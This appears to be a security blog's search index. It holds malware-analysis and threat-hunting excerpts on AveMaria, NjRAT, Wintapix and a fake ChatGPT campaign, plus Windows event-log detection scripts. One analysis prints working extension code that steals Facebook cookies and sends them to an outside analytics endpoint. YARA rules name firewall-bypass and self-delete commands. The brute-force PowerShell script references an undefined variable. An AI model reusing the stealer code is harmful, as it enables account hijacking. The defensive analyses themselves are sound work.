parser.add_argument(\"num_ids\", type=int, help=\"The number of sample IDs to fetch\") # Parse the command line arguments args = parser.parse_args() # Replace <YOUR_ACCESS_KEY> with your access key access_key = \"<YOUR_ACCESS_KEY>\" # Set the API endpoint URL for searching samples search_url = f\"https://tria.ge/api/v0/search?query=family:{args.query_string}\" # Set the request headers to include the access key headers = {\"Authorization\": f\"Bearer {access_key}\"} # Send the GET request to the API endpoint for searching samples response = requests.get(search_url, headers=headers) # Check if the request was successful (status code 200) if response.status_code == 200: # Parse the JSON response and extract the value of the \"id\" key resp = json.loads(response.text) id_list = [] for data in resp[\"data\"][:args.num_ids]: id_list.append(data[\"id\"]) print(f\"Fetched sample ID: {data['id']}\") # Set the API endpoint URL for retrieving samples by ID sample_url_prefix = \"https://tria.ge/api/v0/samples/\" for sample_id in id_list: sample_url = sample_url_prefix + sample_id + \"/sample\" # Send the GET request to the API endpoint for retrieving the sample response = requests.get(sample_url, headers=headers) # Check if the request was successful (status code 200) if response.status_code == 200: # Save the sample data to a binary file named after the sample ID filename = f\"{sample_id}.bin\" with open(filename, \"wb\") as f: f.write(response.content) print(f\"Saved sample ID {sample_id} to {filename}\") else: print(f\"Error retrieving sample ID {sample_id}: {response.status_code}\") else: print(f\"Error searching for samples: {response.status_code}\") I used Malware bazaar this time and downloaded some other samples. Now we need to use an unpacking service like âunpac.meâ to
105speed up the process of unpacking. Yara Testing After unpacked more samples to test my rule against. It catched them all. We can show more info using the â-sâ option to see what condition matched in each one. we can see that string2 string3 K_1 K_2 Found in all of them and the rcrs_seq Found in four of them, and actually, we managed to reach our first objective by detecting all of them with this rule. Configuration Extraction The only important part in the configuration for this family is the C2 server so we need to write a script that extracts them automatically for us. Starting by looking at where is the address stored and how itâs stored (encrypted or not), we can find that by tracing back the address passed to Internet connection APIs. Or need to perform Some code analysis to find out where is this Configuration stored and how Itâs decrypted, after some looking at the code I found that the Configuration for our sample is stored in the .bss section and decrypted using RC4 Here is the data from the â.bssâ section. And from code analysis we know that the first 4 bytes are the length of the key and the next 0x32h bytes are the key and the rest are the encrypted data. At the start, I decided to test it using CyberChef before beginning to write the python script that we will use as a configuration extractor, but actually it didn't work. After that, I started some debugging and comparison between the code in the sample and the code for the RC4 in Wikipedia and I found the malware uses nonstandard RC4 implementation, So we need to understand each part of the code our selves. Actually, I am not that crypto nerd, I just started looking for the difference between the malware implementation and the standard one, and developing a custom decryptor for it. That may be easy to say but in practice, itâs painful to implement if you donât have a deep understanding of the algorithm that you are working with, So I decided to take a different approach and Implement the assembly instruction Sequence that the malware executes to decrypt its configuration inside my python script. Note: If you have a better approach I hope you can DM me with it. After some looking at the documentation I was able to clean the decompiled code and define the structure for the rc4 decryption process, and this is the code. void __thiscall rc4(struct_this *this, int data) { struct_this *s_box_; // ebx unsigned int i; // eax unsigned int index; // eax int s_box; // edi int j; // ecx int v7; // edx int k; // ecx char var_k1; // bl char var_temp; // al int s_box_1; // edi char var_k; // [esp+8h] [ebp-10h] unsigned int cypher; // [esp+10h] [ebp-8h] s_box_ = this; cypher = 0; if ( this->s_box ) { if ( this->key ) { this->y = 0; LOBYTE(i) = 0; this->x = 0; do { *(_BYTE *)((unsigned __int8)i + this->s_box) = this->x; i = this->x + 1; this->x = i; } while ( i < 0x100 ); this->x = 0; for ( index = 0; index < 0x100; this->x = index ) { s_box = this->s_box; this->y += *(char *)((unsigned __int8)index + s_box) + *(char *)(index % 0xFA + this->key); *(_BYTE *)((unsigned __int8)index + s_box) ^= *(_BYTE *)((unsigned __int8)this->y + s_box); *(_BYTE *)(LOBYTE(this->y) + this->s_box) ^= *(_BYTE *)(LOBYTE(this->x) + this->s_box); *(_BYTE *)(LOBYTE(this->x) + this->s_box) ^= *(_BYTE *)(LOBYTE(this->y) + this->s_box); index = this->x + 1; } this->x = 0; this->y = 0; if ( this->data_len ) { j = 0; do { s_box_->x = j + 1; v7 = s_box_->s_box; k = (unsigned __int8)(j + 1); var_k1 = *(_BYTE *)(k + v7); this->y += var_k1; var_k = var_k1; var_temp = *(_BYTE *)((unsigned __int8)this->y + v7); *(_BYTE *)(k + v7) = var_temp; *(_BYTE *)(LOBYTE(this->y) + this->s_box) = var_k1; s_box_ = this; s_box_1 = this->s_box; *(_BYTE *)(cypher + data) ^= *(_BYTE *)((unsigned __int8)(this->y + var_temp) + s_box_1) ^ (unsigned __int8)(*(_BYTE *)((unsigned __int8)(var_temp + var_k) + s_box_1) + *(_BYTE *)(((unsigned __int8)(*(_BYTE *)((unsigned __int8)((32 * this->y) ^ (this->x >> 3)) + s_box_1) + *(_BYTE *)((unsigned __int8)((32 * this->x) ^ (this->y >> 3)) + s_box_1)) ^ 0xAA) + s_box_1)); j = ++this->x; ++cypher; } while ( cypher < this->data_len ); } } } } The KSA and PRGA are standard and the decryption loop itself using python is the following while(True): var_1 = (j+1) % 256 x = var_1 k = (var_1 % 256) var_k1 = (S[k] % 256) y = (y + SIGNEXT(var_k1,8)) var_k = SIGNEXT(var_k1,8) S[k] = S[y % 256] % 256 k = (y %256) var_temp = SIGNEXT((S[y % 256] % 256),8) % 256 S[k] = var_k1 % 256 k = y var_2 = (x << 5) var_3 = (k >> 3) var_4 = (x >> 3) F = ((var_2^var_3)%256) t_3 = SIGNEXT((S[F] % 256),8) var_5 = (y <<
105 5) var_6 = (var_4 ^ var_5) var_7 = var_temp t_1 = SIGNEXT(S[var_6 % 256],8) % 256 t_2 = t_3 + t_1 t_4 = var_k N = 0xFFFFFFAA t_5 = (t_2 ^ N) t_6= (t_4+var_7) t_7 = (t_5 % 256) t_8 = (t_6% 256) t_9 = ((S[t_8] + S[t_7]) % 256) t_10 = (y + var_7) t_11 = (t_9 ^ S[t_10 % 256] % 256) %256 decrypted.append((data[cypher] ^ t_11) % 256) x = x+1 j = x cypher = cypher + 1 if (cypher >= len(data)): break And I was able to extract the configuration from our samples Some AveMaria samples come with configuration encrypted using this custom encryption and others are encrypted using the custom implementation of it. Here is a Configuration extractor for those also import pefile import sys def ksa(key): S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] return S def prga(S): i = 0 j = 0 while True: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256] yield K def rc4_decrypt(ciphertext, key): S = ksa(key) keystream = prga(S) plaintext = bytearray() for c in ciphertext: plaintext.append(c ^ next(keystream)) return bytes(plaintext) if len(sys.argv) != 2: print(f\"Usage: python {sys.argv[0]}.py <filename>\") exit() pe = pefile.PE(sys.argv[1]) bss_section = pe.sections[-1] bss_start = bss_section.VirtualAddress bss_end = bss_start + bss_section.Misc_VirtualSize bss_data = pe.get_memory_mapped_image()[bss_start:bss_end] key_length = 50 key = bss_data[4:key_length+4] data_offset = 0 data_off = 0x0 if (b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00' in bss_data[data_offset:]): data_off = (bss_data[int(data_offset):]).index(b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00') data = bss_data[key_length+4:140] decrypted_data = rc4_decrypt(data, key) try : print(decrypted_data.decode('utf-16-le')) except: print(decrypted_data.decode('latin1')) this works for our test samples⦠Note: During my reasearch, I found AveMaria samples that don't have \".bss\" section at all So consider those if they were Caught by the yara rule and the configuration extractor didn't work for them. ","categories": ["Malware Analysis"], 106 "tags": [], 107 "url": "/malware%20analysis/AveMariaRAT_Mass_Detection/", 108 "teaser": "/assets/images/malware-analysis/AveMariaRAT_Mass_Detection/identical.png" 109 },{ 110 "title": "NjRAT",
111 "excerpt":"OverView Here I am looking at NjRAT Malware that is seen quite often these days I am performing an analysis of the capabilities of the malware and writing our own yara rule for detection and building a static configuration extractor for the malware. Sample I like always to perform my analysis on two different samples to see what are the difference and similarities between each build for the sample because that helps in writing a good yara rule. Capability Replicate The Malware start by copying itself somewhere and then performing some persistence and setting up the environment for itself. FireWall bypass The malware adds a rule to the firewall to be able to communicate out, and also an environment variable to the system we may check its usage on our way. persistence The malware has two ways of accomplishing persistence, Run registry key in (HKLM and HKCU). Startup folders C2 Connection establish The program then launches two threads one of them starts Connecting to the C2 which is hard coded in plain text and sends small info in the first request about the System Drive. then It receives commands from the attacker that are used to do different functionalities. Some Important ones are: run remote commands Download and execute different files. Hide data in a custom registry key. Disconnect Update itself get saved keystrokes Take Screenshot Keylooging The Second thread created is used as a keylogger. Yara rule rule NjRAT : RAT { meta: description = \"Detection Rule for NjRAT\" email = \"[email protected]\" author = \"Amr Ashraf\" strings: $mz = {4D 5A} // MZ header $string1 = \"SEE_MASK_NOZONECHECKS\" wide $string2 = \"netsh firewall add allowedprogram\" wide $string3 = \"cmd.exe /c ping 0 -n 2 & del\" wide $typical1 = \"|'|'|\" wide $typical2 = \"rn\" wide $typical3 = \"kl\" wide $typical4 = \"prof\" wide $typical5 = \"inv\" wide $typical6 = \"CAP\" wide condition: ($mz at 0) and filesize < 100KB and ( (2 of ($string*) and 3 of ($typical*) ) or (all of ($typical*)) ) } Yara Testing I used my triage API to retrieve more samples to test my yara rule detection against them. And fired my yara rule against them and it caught them all. Configuration Extractor I started to look around the configuration to define a pattern that I can Carve based on It, and I defined this one. The configuration always starts after this pattern in hex â\\x57\\x52\\x4B\\x00\\x6D\\x61\\x69\\x6Eâ then followed by the configurations. Here is my script to parse the configuration stored in NjRAT⦠import re import sys pattern = b'\\x57\\x52\\x4B\\x00\\x6D\\x61\\x69\\x6E' with open(sys.argv[1], 'rb') as f: data = f.read() match = re.search(pattern, data) if match: print(f\"Pattern found at byte offset {match.start()}\") config = [] offset = match.start() f.seek(offset+ 11) unicode_data = f.read(315) for data in unicode_data : data = data.to_bytes(1, byteorder=\"little\") if data > b'\\x00' and data < b'\\x2E' and data != b'1B' and data != b'27': config.append(\"&\") elif data < b'\\x7F' and data > b'\\x20': try : config.append(data.decode(\"utf-8\")) except: pass config = ''.join(config) config = config.split(\"&\") for i in range(0,12): print(config[i]) else: print(\"Configuration offset not found\") Configuration Extractor Testing I tried to test this Configuration Extractor But found that this applies to a specific version of the builder, So I tried to find a more generic approach. After some looking, I found this pattern, which is there is always a big chunk of ASCII characters that have the names of the functions used and other data then followed by the Unicode configuration. So I decided to depend on a function that will always be there and then calculate the offset to the Unicode configurations from it. And here is the code⦠import sys import re if len(sys.argv) < 2: print(\"Usage: python script.py <filename>\") sys.exit(1) filename = sys.argv[1] with open(filename, \"rb\") as f: cont = f.read() match = re.search(b\"\\x47\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x54\\x65\\x78\\x74.*\\x00\\x00\", cont) print(f\"match found at {match.start()}\") nullmatch = re.search(b'\\x00\\x00', cont[match.start():]) print(f\"null match at {nullmatch.start()+ match.start()}\") unicode_offset = nullmatch.start()+ match.start() unicode_data = cont[unicode_offset:300+unicode_offset] config = [] for data in unicode_data : data = data.to_bytes(1, byteorder=\"little\") if data > b'\\x00' and data < b'\\x2E' and data != b'1B' and data != b'27': config.append(\"&\") elif data < b'\\x7F' and data > b'\\x20': try : config.append(data.decode(\"utf-8\")) except: pass config = ''.join(config) config = config.split(\"&\") for i in range(0,len(config)): print(config[i]) And this actually worked for all samples in testing. ","categories": ["Malware Analysis"], 112 "tags": [], 113 "url": "/malware%20analysis/NjRAT/", 114 "teaser": "/assets/images/malware-analysis/NjRAT/pattern.png" 115 },{ 116 "title": "ChatGPT_Campaign",
117 "excerpt":"OverView In the morning I was serving Facebook until this ad appeared on my timeline. This will catch the eyes of any security analyst due to the obvious fake domain and the intended wrong spelling of important words and also the general way of writing it especially this â400 trialsâ part. So I went into this page and found things that made me more suspicious, here is it. This page contains a Gmail email for communication and a local Egyptionnumber It has a bad reputation from the comments and changed its name and working field many times. Initial Analysis So with all that noticed I decided to look at their Software to check what is happening there. I downloaded the provided compressed file and extracted it then extracted the msi files from the msi installer. and found that this is a .NET binary. I checked virus total also and found this is flagged only in six vendors and no sandboxes. Behavioral Analysis I decided to fire up the app and as I expected the response was just by opening âchromeâ and popping up a message saying the following⦠But actually, there is more I noticed happening. I found a new process called chromedriver.exe running on my device. I also found a new extension added to my chrome browser. This extension is coming from a js file inside the malware folders Code Analysis Here we have three pieces to be examined the âinitial sample, executed file, and the extensionâ Initial sample The malware starts by killing the chrome process and his other dropped file âif runningâ then executing this âautogetcookiesâ function then showing the msg box that we saw, which means all the work will be in that function âautogetcookiesâ And here is the code for it. Actually what happens here is just registering a ChromeDriver which will be run with a hidden command prompt with the same profile for the user that ran the malware, the driver that gets registered is the second stage file that we saw running in our behavioral analysis. There are three different drivers shipped with the malware and the malware chooses one of them based on the chrome version installed. If you donât know what is ChromeDrivers Itâs just a way to simulate the user interaction with the browser using the code. And the malware adds finally the malicious Extension just before executing the driver. Chrome Driver By doing some research I found that the file is an open-source project and by downloading the original file from its source and comparing hashes I found that they are the same and the file is clean. Browser Extension After some beautifying and renaming here is the code for the extension installed. const ANALYTICS_PATH = 'https://www.google-analytics.com/collect'; async function postData(_0x7e64x3 = '', _0x7e64x4 = {}) { const _0x7e64x5 = await fetch(_0x7e64x3, { method: 'POST', mode: 'no-cors', cache: 'no-cache', credentials: 'same-origin', headers: { '\\x43\\x6F\\x6E\\x74\\x65\\x6E\\x74\\x2D\\x54\\x79\\x70\\x65': 'application/x-www-form-urlencoded' }, redirect: 'follow', referrerPolicy: 'no-referrer', body: _0x7e64x4 }) } var Facebook_cookies = []; const getsss = () => { chrome['cookies']['getAll']({ url: 'https://facebook.com' }, (_0x7e64x4) => { Facebook_cookies = _0x7e64x4['map']((_0x7e64x8) => { return `${''}${_0x7e64x8['name']}${'='}${_0x7e64x8['value']}${''}` })['join'](';'); var Collected_data = new URLSearchParams(); let _0x7e64xa = (Math['random']() + 1).toString(36)['substring'](3); Collected_data['append']('v', 1); Collected_data['append']('tid', 'UA-244628508-1'); Collected_data['append']('cid', '35009a79-1a05-49d7-b876-2b' + _0x7e64xa); Collected_data['append']('t', 'pageview'); Collected_data['append']('dp', btoa(`${''}${Facebook_cookies}${'|'}${navigator['userAgent']}${'|gpt'}`)); postData(ANALYTICS_PATH, Collected_data) }) }; chrome['runtime']['onInstalled']['addListener'](function(_0x7e64xb) { getsss() }) This extension will simply grab all the Cookies for Facebook and then send them to a google analytics server. ","categories": ["Malware Analysis"], 118 "tags": [], 119 "url": "/malware%20analysis/ChatGPT_Campaign/", 120 "teaser": "/assets/images/malware-analysis/ChatGPT_Campaign/add.png" 121 },{ 122 "title": "Wintapix Malicious Driver", 123 "excerpt":"Overview Wintapix Driver is a malicious driver that was operating about three years ago but just caught the eyes of the hunters a little while ago. Itâs primarily targeting saudi arabia as a large number of the samples found were there and also in the middle east. the operator behind it is not specifically known, but from the targets and TTPs, there is a thought that they are Iranian threat actors. Technical Analysis The first thing to look at any Driver is whether itâs signed or not, and in our case, the driver is not signed which means it may be used in the post-exploitation part of the kill chain to achieve more persistence and being more stealthy. The sample looks a bit obfuscated at the DrivrEntry function which makes it a little hard to trace whatâs the sequential flow of the driver statically So I decided to start looking at the functions foun
123d in the driver to construct a view of the capabilities of the driver especially because the number of functions is not that much. Capabilities Code Injection The driver has the capability to inject code into running processes but it has some conditions the process must meet. The first one is the process shouldnât be one of these processes. wininit.exe csrss.exe smss.exe services.exe winlogon.exe lsass.exe The second one is that the process should be running with local system user The shell Code that will be injected is left unpacked inside the Driverâs memory. Registry persistence The Driver also adds an entry to itself into the service registry key. Defeat Deletion The Driver registers a handle to an event to notify if any changes happen to the directory where he lives, To be able to write itself back if deleted. Kernel Debugging Now Itâs time for the underground world kernel to debug the Driver. I will not go throw how to set up your own kernel Debugging Environment, Itâs mentioned everywhere and I will get you a link to one of them in the resources Section. all I will do to start is set up a breakpoint at the nt!IopLoadDriver function and then load my driver then start it, this will trigger our breakpoint before the DriverEntry. You will land in a big function so we need to see only the call instructions inside it using the command. uf /c @rip We are interested in PnpCallDriverEntry function that will lead us to our Driver Entry. Doing the same inside this function we look for nt!guard_dispatch_icall then inside it, you will find a call to register rax that holds the Entry of your Driver. (look at the resources for detailed info about this lookup process) Now we are inside our DriverEntry. As the sample uses VMProtect which is a very complicated anti-analysis packer and I already got what I wanted from the static analysis, I will continue my investigation with the shell code that will be injected. Shell Code Analysis After extracting the shell code out of the Driver and uploading it to VirusTotal, It got detected as a Donut Shell Code. Donut is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files, and dotNET assembliesâ. It can take any of the supported executable formats and convert them into Position-Independent Code (PIC). which also can be identified with the human eye by looking at the first few bites. As the shell code will start by call (E8) and the next word repeated twice(in our case 4f01 0080 4f01 0080), here is also a yara rule that detects it. We can get the original file and reverse this code change using this tool undonut. Stage 2 The malware starts by decrypting values from resources and saving the decrypted data in two arrays. These are some of the decrypted values. I found then that these strings are used as endpoint names in a web server to be accessed by the threat actor to achieve his goal. there are two uses for this endpoint will be taking advantage of Backdoor Proxy The malware also has the ability to terminate services like the logging service from the server. Yara Rule rule WINTAPIX : rootkit { meta: description = \"Detection Rule for WINTAPIX Rootkit\" email = \"[email protected]\" author = \"Amr Ashraf\" strings: $mz = {4D 5A} // MZ header $string1 = \"\\\\SystemRoot\\\\System32\\\\drivers\\\\WinTapix.sys\" wide $string2 = \"S-1-5-18\" wide $string3 = \"wininit.exe\" wide $string4 = \"csrss.exe\" wide $string5 = \"smss.exe\" wide $string6 = \"services.exe\" wide $string7 = \"winlogon.exe\" wide $string8 = \"lsass.exe\" wide $shellcode = {E8 80 4F 01 00 8
1230 4F 01 00 80 2B F1 BC 9A 16 19 33 71 FA A5 5B 8E B3 FB 77 F4 88 A3 03 35 38 56 D5 59 34 1C 1A C0 CF 52 B6 00 00 00 00 30 9E 89} condition: ($mz at 0) and (all of ($string*) or $shellcode) } hashes WINTAPIX : 8578bff36e3b02cc71495b647db88c67c3c5ca710b5a2bd539148550595d0330 .Net payload : 786298c0d98aaf35777738a43a41546c6c8b1972b9bd601fb6cccf2c8f539ae4 Ida Database https://github.com/amr-git-dot/amr-git-dot.github.io/blob/main/assets/database/ida_database.7z Resources https://www.fortinet.com/blog/threat-research/wintapix-kernal-driver-middle-east-countries https://www.triplefault.io/2017/07/setting-up-kernel-debugging-using.html https://blogg.pwc.no/styringogkontroll/starting-dynamic-analysis-on-a-windows-x64-rootkit ","categories": ["Malware Analysis"], 124 "tags": [], 125 "url": "/malware%20analysis/Wintapix_Malicious_Driver/", 126 "teaser": "/assets/images/malware-analysis/Wintapix_Malicious_Driver/entry.png" 127 },{ 128 "title": "Splunk AD Threat hunting",
129 "excerpt":"OverView I Got throw a writeup for an Active Directory lab environment where the author started a lateral movement in the environment which was monitored in a Splunk SIEM solution (just Event logs collected), So I will go throw every step on the attack and the resulting logs. You can find the attack documentation and the Splunk VM in the resources. The following image explains the topology of the environment and the path taken to compromise. The attacker started his journey from the Client01 machine. SIEM Setup As we can see we have just one source which is Windows Eventlogs Hunting Powershell is one of the most used ways of enumerating the AD environment, So I quickly created a visualization of the PowerShell activity on the Environment. We will notice that there is a high PowerShell activity from client02 which is worth investigating. Looking at the script block field of the event â4104â we can see powerview scripts get executed. My next step is to check which executables ran in the machine and what command line they executed with. index=* host=CLIENT02 NOT \"Splunk\" NOT \"VMware\" NOT \"edge\" | stats count by _time, Image, CommandLine, User You can quickly spot different ways for enumerating the host using hostname, ipconfig, net and others. taking a closer look you will be able to spot this. Executing âc:\\Program.exeâ as the system is an evidence of exploiting unquoted path service vulnerability in one of the services running with system privileges which in our case is âC:\\Program Files\\Basic Monitoring\\Automate-Basic-Monitoring.exeâ. Then the attacker was able to create a new user in the machine âHelpDeskâ and add him to the local administrators group. After that, we can notice the use of the âRubeusâ tool to perform a Pass The Hash attack against two users âmohamed & it-supportâ and get a cmd with their privileges. I found also that there was a request for golden ticket. This means that one of the two compromised users is a domain admin or at least has a DCSync right to get the krbtgt hash. Attack Timeline Privilege escalation using unquoted service path. Add the user to the local admins group. The attacker managed to get (mohamed and it-support) users credentials from memory. The attacker managed to perform a DCSync attack against the domain controller and extracted krbtgt hash. The attacker used extracted krbtgt hash to get a golden ticket. Resources https://alhakami.me/Articles/Compromising_Active_Directory_Environments_with_PowerShell.pdf ","categories": ["Forensic investigation"], 130 "tags": [], 131 "url": "/forensic%20investigation/AD_Threat_Hunting/", 132 "teaser": "/assets/images/forensic-investigation/AD_Threat_Hunting/powershell.png" 133 },{ 134 "title": "EDR Log Investigation", 135 "excerpt":"Scenario After a cybersecurity incident, CyberCorpâs management decided to purchase and deploy EDR (Endpoint Detection and Response) solution. EDR agents were installed on all workstations and servers and forwarded telemetry to a centralized Threat Hunting platform. The company has also hired a security blue team of highly qualified analysts to build a threat detection process using the Threat Hunting approach. You will have to try on the role of a threat hunter, who decided to verify the hypothesis about one of the attackerâs persistence techniques. Unfortunately, the hypothesis was confirmed, and a persistence technique was discovered on one host, which eventually became the starting point of the investigation. By analyzing the EDR telemetry in the Threat Hunting platform, you will have to understand how the attacker compromised the network and what he managed to do with the obtained access. Hunting When dealing with EDRs keep in mind that each log is saved because of a trigger to a specific role, and each role is assigned a severity level, So we can start our investigation based on that as our first hypothesis. I started to check what interesting filters are there to filter for, and quickly discovered a lot of wrong things going there. Code Injection from the PowerShell empire module and accessing the lssas application and other messy things. But for now, I need to get to where all this started and move from there to this point. By Sorting the time backward and start looking at the alerts I quickly noticed this one. A Word document initiated a connection out, which seems like an initial footh hold. And quickly after that an alert of a WMI consumer subscription. Seems like a persistence mechanism. Then executing a PowerShell script for injecting shell code into another process. Then we can find an injection happens in a system-level process means now the attacker has system privileges and as shown he seems to be started dumping lssas process memory using the comsvcs minidump technique and also started a process named svchost downloaded from the internet using certutil tool. Then the attacker downloaded other scripts into the machine to continue. TimeLine Initial access via Phishing word Document for user âjohn.goldbergâ Persistence via wmi event consumer âPowerControl Consumerâ Execute a PowerShell script that does injection âmso1033.ps1â Drops a malicious dll file in temp directory âqb52gom0.dllâ get winlogon.exe privileges using injection. dump lsass memory. run a process named svchost.exe downloaded from the internet into the TEMP folder. Used a domain admin account. IOCs 190.150.52.34 188.135.15.49:80 94.177.253.126 eb41b254964fb046656a7312c8547674577c4a2229360cc12f5b1289280b92c3 54dabbd0a47f5ef839de9183978b9b755c248c8ad7a35aff3fe537990ffb3501 65df8039cbd1b3fb40a1cc9198c2ba314dd38ff7d301ee475327d438346d96af ","categories": ["Forensic investigation"], 136 "tags": [], 137 "url": "/forensic%20investigation/EDR_log_investigation/", 138 "teaser": "/assets/images/forensic-investigation/EDR_log_investigation/first.png" 139 },{ 140 "title": "EventLog Analysis", 141 "excerpt":"Windows EventLogs EventLog analysis is extremely challenging in real-world cases as the Eventlog service collects too much info about the machine and not all of them is related to security incidents also not all of them can indicate some thing alone but needs to be correlated with other events to be meaningful and a lot of other challenges there. So I decided to simplify the process starting with an explanation of how it works, how to extend its configuration to be more clear and easier, and how to script our own parser to automate the discovery of juicy findings. Windows EventLogs Description In Windows, the process responsible for collecting logs is called the Windows Event Log service. The service is implemented by the âEventlogâ system driver (eventlog.sys), which is a component of the Windows operating system. This service collects logs for a huge number of event in mostly every action that happen on the device which is then categorized
141in different categories. EventLog Structure The main application for viewing EventLogs in Windows is EventViewer made by Microsoft. As we can see we have two main classes one for Windows Logs which are logs collected from built-in Windows functionalities and another one which is Applications and Services Logs which are collected from installed applications and services actions. For now, let us focus on Windows Logs, we can see that the logs are categorized based on different relations in the system for three main categories. Application Log: The Application log records events generated by applications or programs running on the system. This log is useful for diagnosing application-specific issues, such as crashes, errors, warnings, and information messages. It may contain events from various software installed on the system, including third-party applications. Security Log: The Security log records security-related events on the system. It includes events related to authentication, user access, account management, policy changes, and security audits. This log is crucial for monitoring user activity, detecting security breaches, and analyzing security-related incidents. System Log: The System log captures events related to the Windows operating system and system components. It contains events such as driver failures, system startup and shutdown events, hardware errors, system service failures, and other system-level notifications. The System log helps identify issues that impact the overall stability and performance of the system. Now let us take a look at how each log is structured. logs are mainly stored in an XML format as follows: As we can see this is a log from the system category indicating that the system started downloading an update for the defenderâs security intelligence. we have several important fields we need to understand that are found in every log you will face. provider name (Application caused the log). Event Id (identifier for the action in our case 44âwindows updateâ). Level (the severity of the log). Time Created (the time of the log âmachine timeâ). other fields are also important but they are self-explanatory or I will mention them in their time for more explanation. Extending Log capapilities There are some ways to configure Windows to log specific Events you want based on your own rules to make it easier for you to control what you want to see in your event logs. The most known one is using Sysmon which is a Windows utility used to capture logs based on defined rules. Sysmon After installation, you will see events triggered by your rules on the following path at Event Viewer Applications and Services Logs/Microsoft/Windows/Sysmon/Operational Now let us take a look at how Sysmon rules work. Sysmon Configuration is written to a .xml file and can be applied by the command sysmon.exe -c configuration.xml This is an example configuration file for sysmon which is self explanatory but let us take a sample rule and break it down. <!--SYSMON EVENT ID 2 : FILE CREATION TIME RETROACTIVELY CHANGED IN THE FILESYSTEM [FileCreateTime]--> <!--COMMENT: [ https://attack.mitre.org/wiki/Technique/T1099 ] --> <!--DATA: UtcTime, ProcessGuid, ProcessId, Image, TargetFilename, CreationUtcTime, PreviousCreationUtcTime--> <RuleGroup name=\"\" groupRelation=\"or\"> <FileCreateTime onmatch=\"include\"> <Image name=\"T1099\" condition=\"begin with\">C:\\Users</Image> <!--Look for timestomping in user area, usually nothing should be doing that here--> <TargetFilename name=\"T1099\" condition=\"end with\">.exe</TargetFilename> <!--Look for backdated executables anywhere--> <Image name=\"T1099\" condition=\"begin with\">\\Device\\HarddiskVolumeShadowCopy</Image> <!--Nothing should be written here | Credit: @SBousseaden [ https://twitter.com/SBousseaden/status/1133030955407630336 ] --> </FileCreateTime> </RuleGroup> This rule is used to trace TimeStamp manipulation if TIME RETROACTIVELY CHANGED. here we can find the Event ID that we will see in the logs for this rule, we can define a name and a logical condition for triggering, we can include or exclude specific actions to be more focused, and other filtering ways can be applied. here is an example log that was saved when I triggered this rule. - <Event xmlns=\"http://schemas.microsoft.com/win/2004/08/events/event\"> - <System> <Provider Name=\"Microsoft-Windows-Sysmon\" Guid=\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\" /> <EventID>2</EventID> <Version>5</Version> <Level>4</Level> <Task>2</Task> <Opcode>0</Opcode> <Keywords>0x8000000000000000</Keywords> <TimeCreated SystemTime=\"2023-07-18T14:17:35.8129262Z\" /> <EventRecordID>134160</EventRecordID> <Correlation /> <Execution ProcessID=\"5240\" ThreadID=\"7776\" /> <Channel>Microsoft-Windows-Sysmon/Operational</Channel> <Computer>Spider0x</Computer> <Security UserID=\"S-1-5-18\" /> </System> - <EventData> <Data Name=\"RuleName\">T1099</Data> <Data Name=\"UtcTime\">2023-07-18 14:17:35.812</Data> <Data Name=\"ProcessGuid\">{ccaef897-9eff-64b6-23f2-000000008000}</Data> <Data Name=\"ProcessId\">7860</Data> <Data Name=\"Image\">C:\\Users\\Amras\\Downloads\\nTimestomp_v1.2_x64.exe</Data> <Data Name=\"TargetFilename\">C:\\Users\\Amras\\Downloads\\client (2).exe</Data> <Data Name=\"CreationUtcTime\">2009-07-04 09:25:23.223</Data> <Data Name=\"PreviousCreationUtcTime\">2023-07-04 09:25:23.223</Data> <Data Name=\"User\">Spider0x\\Amras</Data> </EventData> </Event> EventLogs With PowerShell As we discussed earlier our goal is to write our own parser for the EventLogs to automate finding different attacks, So I will start by speaking about how to deal with EventLogs programmatically with PowerShell. The command âGet-WinEventâ is used to interact with events in Powershell, for start we will supply the logname for the provider to display its content. but as you can imagine writing this every time is a bad practice so I will define a function that we can use to interact with the Sysmon logs directly. After writing our simple c
141ode for start we need to load the module we have written and check if itâs imported successfully. and here is a simple search result We can also deal with it directly in Powershell like this This is a small approach to clarify how we will deal with event logs in Powershell throw writing our parser module. Now let us move to the part where we actually investigating the attack and the resulting logs. Suspisious Logins To start investigating Suspicious Logins and scripting the detection for it, we need first to identify what is considered a suspicious login. here are some examples: Login time is out of working hours. unusual Remote login. bruteforce We need to implement a function that can alert us in each of the previous cases. Login out of working hours here is a simple function that can test that for us. you can improve it more yourself to work for the vacation days also. Remote logins This is a small function that parses login successful events to find a login with types (3 or 10) which are the remote login and RDP login types. function Remote-Login{ Get-WinEvent -FilterHashtable @{Logname = \"Security\" ; ID = 4624 } | where {$_.Properties[8].Value -eq 3 -or $_.Properties[8].Value -eq 10} } from there we can start investigating the ip initiated the connection. BruteForce To check for a BruteForce attack signs in event logs we can search for multiple login faild events with id 4625 on the security log. we can use the following script to do that function BruteForceDetect { param ( [string]$logName = \"Security\", [int]$eventID = 4625, [int]$failedAttemptsThreshold = 5, [int]$timeWindow = 60 # Time window in minutes to check for repeated login attempts ) $startTime = (Get-Date).AddMinutes(-$timeWindow) # Define the filter hashtable $filterHash = @{ LogName = $logName ID = $eventID StartTime = $startTime } $events = Get-WinEvent -FilterHashtable $filterHash $failedAttempts = @{} foreach ($event in $events) { $userName = $event.Properties[5].Value $sourceIPAddress = $event.Properties[19].Value if ($userName -and $sourceIPAddress) { if ($failedAttempts.ContainsKey($userName)) { $failedAttempts[$userName]++ } else { $failedAttempts[$userName] = 1 } } } $failedAttempts.GetEnumerator() | Where-Object { $_.Value -ge $failedAttemptsThreshold } | Sort-Object Value -Descending if ($bruteForceEvents.Count -gt 0) { # brute force detected Write-Host \"Brute Force Attacks Detected:\" foreach ($entry in $bruteForceEvents) { Write-Host (\"User: {0}, Failed Attempts: {1}\" -f $entry.Name, $entry.Value) } } else { Write-Host \"No brute force attacks detected within the specified time window.\" } } Binary Attacks Windows has some mitigations against exploitation using some known techniques like return-oriented programming \"ROP\" we can find the logs for detected exploits in the Microsoft-Windows-Security-Mitigations/UserMode log This is a small script to check for that Get-WinEvent -FilterHashTable @{LogName ='Microsoft-Windows-Security-Mitigations/UserMode'} | Format-List -Property Id, 